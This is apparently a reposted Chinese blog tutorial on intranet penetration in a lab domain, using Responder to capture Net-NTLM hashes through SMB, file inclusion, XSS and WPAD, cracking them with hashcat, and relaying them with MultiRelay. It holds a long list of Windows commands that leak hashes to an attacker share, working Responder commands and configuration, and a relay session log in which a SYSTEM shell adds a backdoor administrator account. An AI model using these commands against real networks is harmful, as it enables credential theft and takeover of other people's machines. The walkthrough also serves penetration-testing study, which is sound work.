内网渗透之Responder与Net-NTML hash

原文链接:http://wyb0.com/posts/responder-and-ntml-hash/

0x00 一些概念

  • Windows认证协议
    分为:基于NTML的认证和基于kerberos的认证

  • 什么是NTLM Hash?
    早期IBM设计的LM Hash算法存在弱点,微软在保持向后兼容性的同时提出了自己的挑战响应机制,即NTLM Hash

  • 什么是Challenge-Response挑战/响应验证机制?

    • Client输入username、password、domain,然后将用户名及密码hash后存在本地,并将username发送到 DC
    • DC生成一个16字节的随机数,即Challenge(挑战码),然后传回Client
    • Client收到Challenge后将密码hash和challenge混合hash,混合后的hash称为response,然后将challenge、response和username发送给Server
    • Server将收到的3个值转发给DC,然后DC根据传过来的username到域控的账号数据库ntds.list找到对应的密码hash,将hash和Client传过来的challenge混合hash,将这个混合hash与Client传过来的response进行对比验证
  • NTLM Hash与Net-NTLM Hash

    • NTLM Hash通常是指Windows系统下Security Account Manager中保存的用户密码hash,通常可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),“挑战/响应验证”中的用户名及密码hash就是NTLM Hash
    • Net-NTLM Hash通常是指网络环境下NTLM认证中的hash,“挑战/响应验证”中的response中包含Net-NTLM hash,用Responder抓取的就是Net-NTLM Hash
  • 关于Responder
    由Laurent Gaffie撰写的 Responder 是迄今为止,在每个渗透测试人员用于窃取不同形式的证书(包括Net-NTLM hash)的最受欢迎的工具。它通过设置几个模拟的恶意守护进程(如SQL服务器,FTP,HTTP和SMB服务器等)来直接提示凭据或模拟质询 – 响应验证过程并捕获客户端发送的必要 hash。Responder也有能力攻击LLMNR,NBT-NS和mDNS等协议。

  • 什么是NTLM中继攻击?
    攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

0x01 软件环境

  • 可以从https://github.com/lgandx/Responder下载Responder
  • 域内主机:Win7(10.11.11.20)
  • 域控主机:Win2008(10.11.11.18)
  • 被控主机:Ubuntu14.04(10.11.11.11)和目标机同一网段

0x02 通过SMB服务获取Net-NTLM hash

对于SMB协议,客户端在连接服务端时,默认先使用本机的用户名和密码hash尝试登录,所以可以模拟SMB服务器从而截获hash,执行如下命令都可以得到hash

net.exe use \\host\share
attrib.exe \\host\share
bcdboot.exe \\host\share
bdeunlock.exe \\host\share
cacls.exe \\host\share
certreq.exe \\host\share #(noisy, pops an error dialog)
certutil.exe \\host\share
cipher.exe \\host\share
ClipUp.exe -l \\host\share
cmdl32.exe \\host\share
cmstp.exe /s \\host\share
colorcpl.exe \\host\share #(noisy, pops an error dialog)
comp.exe /N=0 \\host\share \\host\share
compact.exe \\host\share
control.exe \\host\share
convertvhd.exe -source \\host\share -destination \\host\share
Defrag.exe \\host\share
DeployUtil.exe /install \\host\share
DevToolsLauncher.exe GetFileListing \\host\share #(this one's cool. will return a file listing (json-formatted) from remote SMB share...)
diskperf.exe \\host\share
dispdiag.exe -out \\host\share
doskey.exe /MACROFILE=\\host\share
esentutl.exe /k \\host\share
expand.exe \\host\share
extrac32.exe \\host\share
FileHistory.exe \\host\share #(noisy, pops a gui)
findstr.exe * \\host\share
fontview.exe \\host\share #(noisy, pops an error dialog)
fvenotify.exe \\host\share #(noisy, pops an access denied error)
FXSCOVER.exe \\host\share #(noisy, pops GUI)
hwrcomp.exe -check \\host\share
hwrreg.exe \\host\share
icacls.exe \\host\share
LaunchWinApp.exe \\host\share #(noisy, will pop an explorer window with the  contents of your SMB share.)
licensingdiag.exe -cab \\host\share
lodctr.exe \\host\share
lpksetup.exe /p \\host\share /s
makecab.exe \\host\share
MdmDiagnosticsTool.exe -out \\host\share #(sends hash, and as a *bonus!* writes an MDMDiagReport.html to the attacker share with full CSP configuration.)
mshta.exe \\host\share #(noisy, pops an HTA window)
msiexec.exe /update \\host\share /quiet
msinfo32.exe \\host\share #(noisy, pops a "cannot open" dialog)
mspaint.exe \\host\share #(noisy, invalid path to png error)
mspaint.exe \\host\share\share.png #(will capture hash, and display the remote PNG file to the user)
msra.exe /openfile \\host\share #(noisy, error)
mstsc.exe \\host\share #(noisy, error)
netcfg.exe -l \\host\share -c p -i foo
  • 被控主机执行:$ sudo python Responder.py -I eth0 -v


    image

0x03 通过文件包含获取Net-NTLM hash

  • 被控主机执行:$ sudo python Responder.py -I eth0 -v


    image

0x04 通过XSS获取Net-NTLM hash

  • 被控主机执行:$ sudo python Responder.py -I eth0 -v


    image

0x05 WPAD代理服务器抓取Net-NTLM hash

WPAD用于在windows中自动化的设置ie浏览器的代理,从Windows 2000开始该功能被默认开启。

开启Responder的WPAD后,当PC浏览网站时即可抓取到NTLM hash

加-F参数即可开启WPAD抓取 hash,而且当主机重启时也能抓到NTLM hash

  • 被控主机执行:$ sudo python Responder.py -I eth0 -v -F


    image

    image

0x06 使用hashcat解密

$ git clone https://github.com/hashcat/hashcat.git
$ mkdir -p hashcat/deps
$ git clone https://github.com/KhronosGroup/OpenCL-Headers.git hashcat/deps/OpenCL
$ cd hashcat
$ make
$ ./example0.sh
$ ./hashcat
  • 利用hashcat暴力猜解密码
    -m:hash-type,5600对应NetNTLMv2
    image

    得到密码为123456
    image

0x07 通过NTLM中继攻击添加用户

这里就用到了NTLM中继攻击,相当于是中间人攻击,攻击者获取高权限的主机的hash,然后将hash转发给低权限主机并执行命令

这里就是抓取域控的hash,然后执行命令得到域内主机的信息

  • 修改Responder.conf,不启动SMB和HTTP,然后启动Responder
reber@ubuntu:~/Responder$ head -n 14 Responder.conf
[Responder Core]

; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = Off
DNS = On
LDAP = On

#这里用的是-F,只要有高权限用户通过浏览器访问网页就会中招,hash就会被抓取
reber@ubuntu:~/Responder$ sudo python Responder.py -I eth0 -v -F
  • 利用Responder的MultiRelay模块获取shell
reber@ubuntu:~/Responder/tools$ sudo python MultiRelay.py -t 10.11.11.20 -u ALL

Responder MultiRelay 2.0 NTLMv1/2 Relay

Send bugs/hugs/comments to: laurent.gaffie@gmail.com
Usernames to relay (-u) are case sensitive.
To kill this script hit CTRL-C.

/*
Use this script in combination with Responder.py for best results.
Make sure to set SMB and HTTP to OFF in Responder.conf.

This tool listen on TCP port 80, 3128 and 445.
For optimal pwnage, launch Responder only with these 2 options:
-rv
Avoid running a command that will likely prompt for information like net use, etc.
If you do so, use taskkill (as system) to kill the process.
*/

Relaying credentials for these users:
['ALL']


Retrieving information for 10.11.11.20...
SMB signing: False
Os version: 'Windows 7 Professional 7600'
Hostname: 'WIN-7'
Part of the 'REBER' domain
[+] Setting up HTTP relay with SMB challenge: f34fb4118e70e824
[+] Received NTLMv2 hash from: 10.11.11.18
[+] Client info: ['Windows Server 2008 R2 Enterprise 7600', domain: 'REBER', signing:'True']
[+] Username: Administrator is whitelisted, forwarding credentials.
[+] SMB Session Auth sent.
[+] Looks good, Administrator has admin rights on C$.
[+] Authenticated.
[+] Dropping into Responder's interactive shell, type "exit" to terminate

Available commands:
dump               -> Extract the SAM database and print hashes.
regdump KEY        -> Dump an HKLM registry key (eg: regdump SYSTEM)
read Path_To_File  -> Read a file (eg: read /windows/win.ini)
get  Path_To_File  -> Download a file (eg: get users/administrator/desktop/password.txt)
delete Path_To_File-> Delete a file (eg: delete /windows/temp/executable.exe)
upload Path_To_File-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \windows\temp\
runas  Command     -> Run a command as the currently logged in user. (eg: runas whoami)
scan /24           -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to
pivot  IP address  -> Connect to another host (eg: pivot 10.0.0.12)
mimi  command      -> Run a remote Mimikatz 64 bits command (eg: mimi coffee)
mimi32  command    -> Run a remote Mimikatz 32 bits command (eg: mimi coffee)
lcmd  command      -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)
help               -> Print this message.
exit               -> Exit this shell and return in relay mode.
                      If you want to quit type exit and then use CTRL-C

Any other command than that will be run as SYSTEM on the target.

Connected to 10.11.11.20 as LocalSystem.
C:\Windows\system32\:#net user test 123456 /add && net localgroup administrators test /add
▒▒▒▒ɹ▒▒▒ɡ▒


C:\Windows\system32\:#net user

\\ ▒▒▒û▒▒ʻ▒

-------------------------------------------------------------------------------
Administrator            Guest                    reber
test
▒▒▒▒▒▒▒▒▒▒ϣ▒▒▒▒▒▒▒һ▒▒▒▒▒▒▒▒


C:\Windows\system32\:#exit
[+] Returning in relay mode.
Exiting...
reber@ubuntu:~/Responder/tools$


Reference(侵删):

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,524评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,869评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,813评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,210评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,085评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,117评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,533评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,219评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,487评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,582评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,362评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,218评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,589评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,899评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,176评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,503评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,707评论 2 335

推荐阅读更多精彩内容

  • 部分内容转载自搜狗百科 cmd是command的缩写.即命令提示符(CMD),是在OS / 2 , Windows...
    青冥之上阅读 2,379评论 0 24
  • 命令简介 cmd是command的缩写.即命令行 。 虽然随着计算机产业的发展,Windows 操作系统的应用越来...
    ___大鱼___阅读 1,070评论 1 5
  • win7 cmd管理员权限设置 net localgroup administrators 用户名 /add 把“...
    f675b1a02698阅读 5,115评论 0 11
  • 运行操作 CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) CM...
    小明yz阅读 2,737评论 0 8
  • 一、命令行 1. calc-----------启动计算器 2.certmgr.msc----证书管理实用程序 3...
    小小辛_c阅读 693评论 0 2